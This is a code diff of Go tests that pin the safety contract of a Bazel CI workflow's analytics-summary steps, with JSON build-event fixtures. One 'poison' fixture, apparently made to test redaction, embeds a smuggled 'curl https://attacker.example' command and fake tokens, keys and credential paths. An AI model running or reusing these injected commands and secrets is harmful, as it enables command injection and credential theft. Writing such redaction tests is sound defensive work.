// inside a `run:` block: ci_analytics_extract.py's arguments must come from
// $LANE/$MODE/$CHECK_RUN_ID/$PR_HINT shell variables (set in `env:`, which
// GitHub Actions substitutes before the shell ever sees them), never a raw
// ${{ }} expression spliced into the command line itself.
var ciAnalyticsRunTemplateRE = regexp.MustCompile(`\$\{\{`)
// ciAnalyticsRunnerTempPathRE captures the basename (the part after
// $RUNNER_TEMP/) of any $RUNNER_TEMP-relative path a run: block mentions,
// including one built from a shell loop variable (e.g. bazel-bep-$step.json).
var ciAnalyticsRunnerTempPathRE = regexp.MustCompile(`\$RUNNER_TEMP/([\w.$-]+)`)
// ciAnalyticsWriterFlagRE captures the $RUNNER_TEMP-relative basename
// written by one of the three bazel flags that produce a BEP file, a
// compact exec log or a JSON profile: the only three file kinds the
// summary step is allowed to read.
var ciAnalyticsWriterFlagRE = regexp.MustCompile(`--(?:build_event_json_file|execution_log_compact_file|profile)="?\$RUNNER_TEMP/([\w.$-]+)"?`)
// ciAnalyticsForLoopRE matches a `for <var> in <values>; do` line, so a
// basename built from the loop variable (bazel-bep-$step.json) can be
// expanded to every concrete value the loop actually iterates.
var ciAnalyticsForLoopRE = regexp.MustCompile(`for (\w+) in ([^;]+); do`)
// ciAnalyticsFileBasenameRE keeps only basenames that name a real
// input file (.json or .log.zst): the summary step's own --out path
// ($RUNNER_TEMP/ci-analytics/ci-analytics.json) is not $RUNNER_TEMP-direct
// and never matches a writer flag, so it is dropped rather than
// misclassified as a bad reader reference.
var ciAnalyticsFileBasenameRE = regexp.MustCompile(`\.(json|log\.zst)$`)
const (
// The path/retention/cleanup contract of every "Upload CI analytics
// summary" step: the redacted summary ci_analytics_extract.py wrote,
// kept a week, replaced (not 409'd) by a job re-run, and silently
// skipped (not failed) if the summary step itself never ran.
ciAnalyticsUploadPath = "${{ runner.temp }}/ci-analytics/ci-analytics.json"
ciAnalyticsUploadRetentionDays = "7"
ciAnalyticsUploadIfNoFilesFound = "ignore"
ciAnalyticsUploadOverwrite = "true"
ciAnalyticsUploadTimeoutMinutes = 2
ciAnalyticsSummaryMaxTimeout = 3
// The real job context (requires actionlint >= 1.7.8), not a
// github.run_id substitution: the design's contract with S4.
ciAnalyticsCheckRunID = "${{ job.check_run_id }}"
ciAnalyticsMode = "${{ needs.rbe.outputs.mode }}"
ciAnalyticsPRHint = "${{ github.event.pull_request.number || 0 }}"
)
func ciAnalyticsContinueOnError(v any) bool {
switch v := v.(type) {
case bool:
return v
case string:
return v == "true"
default:
return false
}
}
// ciAnalyticsExpandBasenames expands every $<loopvar> token in basenames
// using any `for <loopvar> in ...; do` loop found in run, returning the
// set of concrete basenames actually produced or consumed. A basename with
// no loop-variable token (the 7 lanes with a single literal BEP/exec-log/
// profile set) expands to itself unchanged.
func ciAnalyticsExpandBasenames(run string, basenames []string) map[string]bool {
out := map[string]bool{}
loops := ciAnalyticsForLoopRE.FindAllStringSubmatch(run, -1)
for _, b := range basenames {
expanded := []string{b}
for _, loop := range loops {
token := "$" + loop[1]
if !strings.Contains(b, token) {
continue
}
var next []string
for _, e := range expanded {
for _, v := range strings.Fields(loop[2]) {
next = append(next, strings.ReplaceAll(e, token, v))
}
}
expanded = next
}
for _, e := range expanded {
out[e] = true
}
}
return out
}
// TestCIAnalyticsStepsAreSafeAndBounded is beads' version of gascity's pin
// test of the same name (scripts/bazel_multilane_test.go, ci/analytics-
// extractor @ 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac), adapted to beads'
// 8 separately-named lane jobs rather than gascity's single matrix "lane"
// job plus "coverage". The rbe-ci-bep-analytics-design.md "CI analytics
// summary" step (ci_analytics_extract.py) and its upload, in every lane
// job, must stay strictly reporting-only: continue-on-error, a short
// timeout so a parser bug can never make the step (or the job) run long,
// no raw GitHub Actions expression spliced into the shell command (only
// validated $ENV_VARS, never a string this extractor would have to
// re-validate itself), !cancelled() required rather than always() (always()
// also runs after a workflow cancellation, which these reporting-only
// steps should not survive), an exact upload name/path/retention contract,
// and every path the summary step reads must actually be written by a
// bazel flag earlier in the same job.
func TestCIAnalyticsStepsAreSafeAndBounded(t *testing.T) {
workflow := readCIWorkflow(t, "bazel.yml")
// Every job in bazel.yml is either one of the lane jobs or has a
// recorded reason it is excluded: a new job cannot join bazel.yml
// without a decision about CI analytics.
for name := range workflow.Jobs {
_, lane := ciAnalyticsLaneJobs[name]
_, excluded := ciAnalyticsExcludedJobs[name]
if lane == excluded {
t.Errorf("bazel.yml job %q: lane=%v excluded=%v; add it to exactly one of ciAnalyticsLaneJobs or ciAnalyticsExcludedJobs (with a reason)", name, lane, excluded)
}
}
for name := range ciAnalyticsLaneJobs {
if _, ok := workflow.Jobs[name]; !ok {
t.Errorf("ciAnalyticsLaneJobs lists %s, which bazel.yml does not have", name)
}
}
for name := range ciAnalyticsExcludedJobs {
if _, ok := workflow.Jobs[name]; !ok {
t.Errorf("ciAnalyticsExcludedJobs lists %s, which bazel.yml does not have", name)
}
}
// --execution_log_compact_file without
// --experimental_build_event_upload_strategy=local in the same command
// writes a compact exec log bazel never uploads anywhere the extractor
// (or anything else) can read it back: require both together, in every
// job's every step, not just the 8 lane jobs.
for name, job := range workflow.Jobs {
for _, step := range job.Steps {
if strings.Contains(step.Run, "--execution_log_compact_file") && !strings.Contains(step.Run, "--experimental_build_event_upload_strategy=local") {
t.Errorf("%s job step %q: run has --execution_log_compact_file without --experimental_build_event_upload_strategy=local in the same command", name, step.Name)
}
}
}
for jobName, wantLane := range ciAnalyticsLaneJobs {
job := workflow.job(t, jobName)
summaryIdx := slices.IndexFunc(job.Steps, func(s ciWorkflowStep) bool { return s.Name == "CI analytics summary" })
uploadIdx := slices.IndexFunc(job.Steps, func(s ciWorkflowStep) bool { return s.Name == "Upload CI analytics summary" })
if summaryIdx < 0 || uploadIdx < 0 {
t.Fatalf("%s job: missing CI analytics summary/upload steps", jobName)
}
if uploadIdx != summaryIdx+1 {
t.Errorf("%s job: Upload CI analytics summary is step %d, want %d (immediately after CI analytics summary)", jobName, uploadIdx, summaryIdx+1)
}
summary := job.Steps[summaryIdx]
upload := job.Steps[uploadIdx]
if !ciAnalyticsContinueOnError(summary.ContinueOnError) {
t.Errorf("%s job %q: continue-on-error %v, want true", jobName, summary.Name, summary.ContinueOnError)
}
if summary.TimeoutMinutes <= 0 || summary.TimeoutMinutes > ciAnalyticsSummaryMaxTimeout {
t.Errorf("%s job %q: timeout-minutes %d, want 1-%d", jobName, summary.Name, summary.TimeoutMinutes, ciAnalyticsSummaryMaxTimeout)
}
if ciAnalyticsRunTemplateRE.MatchString(summary.Run) {
t.Errorf("%s job %q: run: contains a ${{ }} expression; use env: and a shell variable instead:\n%s", jobName, summary.Name, summary.Run)
}
//nolint:misspell // GitHub Actions spells it cancelled()
if !strings.Contains(summary.If, "!cancelled()") {
t.Errorf("%s job %q: if %q does not require !cancelled(); always() also runs after a workflow cancellation", jobName, summary.Name, summary.If)
}
if got := summary.Env["LANE"]; got != wantLane {
t.Errorf("%s job CI analytics summary: LANE %q, want %q", jobName, got, wantLane)
}
if got := summary.Env["MODE"]; got != ciAnalyticsMode {
t.Errorf("%s job CI analytics summary: MODE %q, want %q", jobName, got, ciAnalyticsMode)
}
if got := summary.Env["CHECK_RUN_ID"]; got != ciAnalyticsCheckRunID {
t.Errorf("%s job CI analytics summary: CHECK_RUN_ID %q, want %q", jobName, got, ciAnalyticsCheckRunID)
}
if got := summary.Env["PR_HINT"]; got != ciAnalyticsPRHint {
t.Errorf("%s job CI analytics summary: PR_HINT %q, want %q", jobName, got, ciAnalyticsPRHint)
}
if !ciAnalyticsContinueOnError(upload.ContinueOnError) {
t.Errorf("%s job %q: continue-on-error %v, want true", jobName, upload.Name, upload.ContinueOnError)
}
if upload.TimeoutMinutes != ciAnalyticsUploadTimeoutMinutes {
t.Errorf("%s job %q: timeout-minutes %d, want %d", jobName, upload.Name, upload.TimeoutMinutes, ciAnalyticsUploadTimeoutMinutes)
}
//nolint:misspell // GitHub Actions spells it cancelled()
if !strings.Contains(upload.If, "!cancelled()") {
t.Errorf("%s job %q: if %q does not require !cancelled()", jobName, upload.Name, upload.If)
}
wantUploadName := "ci-analytics-" + wantLane + "-${{ github.run_attempt }}"
if upload.With["name"] != wantUploadName {
t.Errorf("%s job %q: upload name %q, want %q", jobName, upload.Name, upload.With["name"], wantUploadName)
}
if upload.With["path"] != ciAnalyticsUploadPath {
t.Errorf("%s job %q: upload path %q, want %q (the redacted summary, never a raw BEP/exec-log/profile)", jobName, upload.Name, upload.With["path"], ciAnalyticsUploadPath)
}
if upload.With["retention-days"] != ciAnalyticsUploadRetentionDays {
t.Errorf("%s job %q: retention-days %q, want %q", jobName, upload.Name, upload.With["retention-days"], ciAnalyticsUploadRetentionDays)
}
if upload.With["if-no-files-found"] != ciAnalyticsUploadIfNoFilesFound {
t.Errorf("%s job %q: if-no-files-found %q, want %q", jobName, upload.Name, upload.With["if-no-files-found"], ciAnalyticsUploadIfNoFilesFound)
}
if upload.With["overwrite"] != ciAnalyticsUploadOverwrite {
t.Errorf("%s job %q: overwrite %q, want %q", jobName, upload.Name, upload.With["overwrite"], ciAnalyticsUploadOverwrite)
}
// Every $RUNNER_TEMP file the summary step reads must be written by
// a --build_event_json_file/--execution_log_compact_file/--profile
// flag somewhere earlier in the same job (expanding any shell loop
// variable on both sides, e.g. bazel-pure's per-step bazel-bep-
// $step.json).
readerRaw := ciAnalyticsRunnerTempPathRE.FindAllStringSubmatch(summary.Run, -1)
readerBasenames := make([]string, 0, len(readerRaw))
for _, m := range readerRaw {
readerBasenames = append(readerBasenames, m[1])
}
readerSet := ciAnalyticsExpandBasenames(summary.Run, readerBasenames)
writerSet := map[string]bool{}
for i, step := range job.Steps {
if i == summaryIdx || i == uploadIdx {
continue
}
raw := ciAnalyticsWriterFlagRE.FindAllStringSubmatch(step.Run, -1)
basenames := make([]string, 0, len(raw))
for _, m := range raw {
basenames = append(basenames, m[1])
}
for b := range ciAnalyticsExpandBasenames(step.Run, basenames) {
writerSet[b] = true
}
}
for b := range readerSet {
if !ciAnalyticsFileBasenameRE.MatchString(b) {
continue // not a file reference (e.g. the --out path's directory component)
}
if !writerSet[b] {
t.Errorf("%s job CI analytics summary: reads %q, which no --build_event_json_file/--execution_log_compact_file/--profile flag in this job writes", jobName, b)
}
}
}
}

View file

@ -199,6 +199,19 @@ func TestMergeQueuePullRequestFieldsHandleMergeGroup(t *testing.T) {
"detect-ci-tier.steps[2].env.PR_HEAD_SHA": "advisory shadow selector; merge_group selects everything",
"bazel-test.steps[*].env.PR_NUMBER": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs",
"bazel-test.steps[*].env.PR_HEAD_SHA": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs",
// bazel.yml's CI analytics summary step (rbe-ci-bep-analytics-
// design.md, S3), one entry per lane job (ciAnalyticsLaneJobs in
// ci_analytics_workflow_test.go) rather than a bare "steps[*]...",
// so this stays scoped to bazel.yml's own PR_HINT and can't
// silently also cover a future PR_HINT read elsewhere.
"bazel-test.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push",
"bazel-pure.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push",
"bazel-embedded.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push",
"bazel-integration.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push",
"bazel-doltserver.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push",
"bazel-proxied.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push",
"bazel-server-storage.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push",
"bazel-cmd-dolt.steps[*].env.PR_HINT": "ci-analytics-summary metadata only (--pr-hint); `|| 0` already covers merge_group same as a non-PR push",
}
used := map[string]bool{}
var fallbacks []string

View file

@ -2106,6 +2106,45 @@ const (
bazelRBEPrewarmContinueOnErrorPath = ".jobs." + bazelRBEPrewarmJobName + ".continue-on-error"
)
// rbe-ci-bep-analytics-design.md (S3) adds two steps to every lane job
// ("CI analytics summary" and "Upload CI analytics summary"): reporting
// only (the extracted summary feeds a follow-on analysis pipeline, nothing
// in bazel.yml or pr.yml reads its output), so both carry a deliberate
// step-level continue-on-error - the only step-level exception
// TestBazelWorkflowSecretsAndFailureSurface allows, matched below by job,
// step name and content (ciAnalyticsContinueOnErrorPaths) rather than by a
// single fixed path the way rbe-prewarm's job-level one is, since every
// lane job has its own copy of these two steps at a different index.
// ciAnalyticsContinueOnErrorPaths returns the walkYAML path of every CI
// analytics step's continue-on-error key, so
// TestBazelWorkflowSecretsAndFailureSurface can allow exactly those and
// nothing else. Scoped three ways, not just by step name: the job must be
// one of ciAnalyticsLaneJobs (ci_analytics_workflow_test.go), the summary
// step's run must actually invoke ci_analytics_extract.py, and the upload
// step's artifact name must start with "ci-analytics-" - so a future step
// that happens to share one of these two names, in a job this design never
// touched, can't ride along on the exception unnoticed.
func ciAnalyticsContinueOnErrorPaths(t *testing.T) map[string]bool {
t.Helper()
paths := map[string]bool{}
for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs {
if _, ok := ciAnalyticsLaneJobs[name]; !ok {
continue
}
for i, step := range job.Steps {
switch {
case step.Name == "CI analytics summary" && strings.Contains(step.Run, "ci_analytics_extract.py"):
case step.Name == "Upload CI analytics summary" && strings.HasPrefix(step.With["name"], "ci-analytics-"):
default:
continue
}
paths[fmt.Sprintf(".jobs.%s.steps[%d].continue-on-error", name, i)] = true
}
}
return paths
}
// rbe-fork: the lanes' setup-bazel env that asks it for a certificate (modes
// fork-ro and fork-rw only), and the mint's status URL the rbe job probes.
const (
@ -4300,7 +4339,7 @@ func TestBazelIntegrationJob(t *testing.T) {
}
cmd := regexp.MustCompile(`\s*\\\n\s*`).ReplaceAllString(test.Run, " ")
// EXCLUDE_TARGETS: TestBazelIntegrationExcludesBdTestOnlyWhereCmdDoltCovers.
const wantCmd = `bazel test //... --config=integration ` + bazelFreshArg + ` --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?`
const wantCmd = `bazel test //... --config=integration ` + bazelFreshArg + ` --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" --profile="$RUNNER_TEMP/bazel-profile.json" --experimental_build_event_upload_strategy=local ${EXCLUDE_TARGETS:+-- "$EXCLUDE_TARGETS"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?`
if !strings.Contains(cmd, wantCmd) || !strings.Contains(test.Run, "set -o pipefail") {
t.Errorf("%s test step does not run exactly %q:\n%s", bazelIntegJobName, wantCmd, test.Run)
}
@ -4569,11 +4608,14 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) {
job, config, logs string
wantSteps int
}{
{bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 8},
// +2 over the earlier counts: the CI analytics summary/upload steps
// (S3; see bazel-test's "CI analytics summary" comment), added to
// every lane job ahead of the result recorder.
{bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 10},
// One more than bazel-proxied: a "Shard balance" step (rbe-ci-cost-
// latency-study.md recommendation 4), since this is the tier whose
// last shard has trailed the rest by 4.3-4.5 min in 2 of 8 runs.
{bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 9},
{bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 11},
} {
job := workflow.job(t, c.job)
if job.TimeoutMinutes == 0 || job.TimeoutMinutes > 30 {
@ -4581,7 +4623,7 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) {
}
assertBazelTierStep(t, job, c.job, c.config)
if n := len(job.Steps); n != c.wantSteps {
t.Errorf("%s has %d steps, want %d (checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, result recorder)", c.job, n, c.wantSteps)
t.Errorf("%s has %d steps, want %d (checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, CI analytics summary, CI analytics upload, result recorder)", c.job, n, c.wantSteps)
}
logs := job.step(t, "Upload test logs")
if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != c.logs || !strings.HasPrefix(logs.Uses, "actions/upload-artifact@") {
@ -4621,6 +4663,9 @@ start=$(date +%s)
rc=0
bazel test //... --config=embedded ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
--build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \
--profile="$RUNNER_TEMP/bazel-profile.json" \
--experimental_build_event_upload_strategy=local \
2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
echo "bazel test --config=embedded: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY"
exit "$rc"`
@ -5092,6 +5137,7 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) {
t.Errorf("%s job %s has %d setup-bazel steps, want 1", bazelWorkflowName, name, n)
}
}
ciAnalyticsPaths := ciAnalyticsContinueOnErrorPaths(t)
secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`)
walkYAML(root, "", func(path string, key bool, value string) {
if key && value == "continue-on-error" {
@ -5101,9 +5147,13 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) {
// job's failure would still fail bazel.yml's own run and
// cascade into pr.yml's ci-gate. So is each flag-gated lane's
// (bazelFlagGatedLanes): advisory until its pr.yml flag is
// "true", and required then through its own gate id.
// "true", and required then through its own gate id. So are the
// two CI analytics steps in every lane job
// (bazelCIAnalyticsStepNames): reporting only, never a `needs`
// of anything and never read back by this workflow or its
// callers.
_, flagGated := bazelFlagGatedLanes[strings.TrimSuffix(strings.TrimPrefix(path, ".jobs."), ".continue-on-error")]
if path != bazelRBEPrewarmContinueOnErrorPath && !flagGated {
if path != bazelRBEPrewarmContinueOnErrorPath && !flagGated && !ciAnalyticsPaths[path] {
t.Errorf("%s: %s hides failures from pr.yml's ci-gate", bazelWorkflowName, path)
}
}

View file

@ -107,6 +107,8 @@ rc=0
bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
--profile="$RUNNER_TEMP/bazel-profile.json" \
--build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \
--experimental_build_event_upload_strategy=local \
2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
echo "bazel test: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY"
echo >> "$GITHUB_STEP_SUMMARY"
@ -114,17 +116,28 @@ exit "$rc"`,
},
bazelPureJobName: {
"Start every pure-Go artifact (gozstd contamination check)": `set -euo pipefail
# Not instrumented: no BEP/exec-log/profile is captured for this
# one-off smoke invocation (design's bazel-pure invocation list
# names build-wasm, build-pure, test-pure and test-bd only).
bazel run --config=pure //cmd/bd:bd -- version
bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
//internal/storage/embeddeddolt:embeddeddolt_test \
//internal/tracker:tracker_test \
--test_sharding_strategy=disabled \
'--test_arg=-test.run=^$' \
--test_env=BEADS_TEST_SKIP=dolt`,
--test_env=BEADS_TEST_SKIP=dolt \
--profile="$RUNNER_TEMP/bazel-profile-test-pure.json" \
--build_event_json_file="$RUNNER_TEMP/bazel-bep-test-pure.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-pure.log.zst" \
--experimental_build_event_upload_strategy=local`,
"Run pure-Go cmd/bd test subset (--config=pure)": `set -euo pipefail
bazel test --config=pure ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} //cmd/bd:bd_test \
--test_sharding_strategy=disabled \
"--test_arg=-test.run=$PURE_CMD_BD_TESTS"
"--test_arg=-test.run=$PURE_CMD_BD_TESTS" \
--profile="$RUNNER_TEMP/bazel-profile-test-bd.json" \
--build_event_json_file="$RUNNER_TEMP/bazel-bep-test-bd.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec-test-bd.log.zst" \
--experimental_build_event_upload_strategy=local
n="$(grep -c '<testcase ' bazel-testlogs/cmd/bd/bd_test/test.xml || true)"
echo "pure cmd/bd subset: $n test cases"
(( n > 0 ))`,
@ -133,7 +146,12 @@ echo "pure cmd/bd subset: $n test cases"
"bazel test //... --config=doltserver": `set -o pipefail
start=$(date +%s)
rc=0
bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \
--build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \
--execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \
--profile="$RUNNER_TEMP/bazel-profile.json" \
--experimental_build_event_upload_strategy=local \
2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?
echo "bazel test --config=doltserver: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY"
exit "$rc"`,
},

File diff suppressed because it is too large Load diff

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,3 @@
{"started": {"uuid": "99999999-0000-1111-2222-333333333333", "command": "test", "buildToolVersion": "9.2.0", "startTimeMillis": "2000"}}
{"buildMetrics": {"timingMetrics": {"wallTimeInMs": "15"}, "actionSummary": {"actionsCreated": "1", "actionsExecuted": "1"}}}
{"finished": {"exitCode": {"code": 0, "name": "SUCCESS"}, "finishTimeMillis": "2015"}}

View file

@ -0,0 +1,8 @@
{"id": {"started": {}}, "started": {"uuid": "poison-0000-0000-0000-000000000000", "startTimeMillis": "1700000000000", "buildToolVersion": "9.2.0; TOKEN=ghp_SECRETTOKEN1234567890 at http://evil.example.com/leak", "command": "test\nexport AWS_SECRET_ACCESS_KEY=abcd1234 && curl https://attacker.example/x"}}
{"id": {"unstructuredCommandLine": {}}, "unstructuredCommandLine": {"args": ["test", "--remote_executor=grpcs://rbe-west-internal.ops.gascity.com:443", "--tls_client_key=/etc/secrets/rbe-client.key", "--test_env=DEPLOY_TOKEN=s3cr3t-deploy-token-0001"]}}
{"id": {"testResult": {"label": "//:pass_test", "run": 1, "shard": 0, "attempt": 1}}, "testResult": {"status": "PASSED; /root/.ssh/id_rsa leaked, see 10.0.0.5", "executionInfo": {"strategy": "remote cache hit; token=ghp_abc123"}, "cachedLocally": false, "testAttemptDurationMillis": "123"}}
{"id": {"testSummary": {"label": "//:pass_test"}}, "testSummary": {"overallStatus": "PASSED", "shardCount": 1, "attemptCount": 1, "totalNumCached": 0}}
{"id": {"buildMetrics": {}}, "buildMetrics": {"timingMetrics": {"cpuTimeInMs": "100", "wallTimeInMs": "200"}, "actionSummary": {"actionsCreated": "5", "actionsExecuted": "5", "runnerCount": [{"name": "remote; -----BEGIN PRIVATE KEY----- leak", "count": "5", "execKind": "Remote"}], "actionData": [{"mnemonic": "CppCompile; /home/runner/secret", "actionsExecuted": "5", "actionsCreated": "5", "userTime": "1s", "systemTime": "1s"}]}}}
{"id": {"finished": {}}, "finished": {"exitCode": {"code": 0, "name": "SUCCESS; https://leak.example.com/token=abc"}, "finishTimeMillis": "1700000001000"}}
{"id": {"buildToolLogs": {}}, "buildToolLogs": {"log": [{"name": "critical path", "contents": "Q3JpdGljYWwgUGF0aDogMS4wMHMsIFJlbW90ZSAoMC4wJSBvZiB0aGUgdGltZSk6IFsKICAxLjAwcyBhY3Rpb24gJ1Rlc3RpbmcgLy86cGFzc190ZXN0IChzaGFyZCAwIG9mIDEpJyBzZWNyZXQ9aHVudGVyMgo="}, {"name": "elapsed time", "contents": "MS4w"}]}}
{"id": {"testSummary": {"label": "//pkg:x/etc/evil_test"}}, "testSummary": {"overallStatus": "PASSED; DEPLOY_TOKEN=s3cr3t-deploy-token-0001", "shardCount": 1, "attemptCount": 1, "totalNumCached": 0}}

View file

@ -0,0 +1,12 @@
{"id": {"started": {}}, "started": {"uuid": "ea882f0a-d70d-4e98-8471-874fa38dd26e", "startTimeMillis": "1791360355792", "buildToolVersion": "9.2.0", "command": "test"}}
{"id": {"testResult": {"label": "//:flaky_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "46", "status": "FAILED", "testAttemptDuration": "0.046s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.046s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}}
{"id": {"testResult": {"label": "//:pass_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "43", "status": "PASSED", "testAttemptDuration": "0.043s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.043s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}}
{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 2, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "45", "status": "PASSED", "testAttemptDuration": "0.045s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.045s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}}
{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 3, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "49", "status": "PASSED", "testAttemptDuration": "0.049s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.049s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}}
{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "56", "status": "PASSED", "testAttemptDuration": "0.056s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.056s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}}
{"id": {"testSummary": {"label": "//:flaky_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "FAILED", "attemptCount": 1}}
{"id": {"testSummary": {"label": "//:pass_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "attemptCount": 1}}
{"id": {"testSummary": {"label": "//:sharded_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "shardCount": 3, "attemptCount": 1}}
{"id": {"buildFinished": {}}, "finished": {"finishTimeMillis": "1791360367926", "exitCode": {"name": "TESTS_FAILED", "code": 3}}}
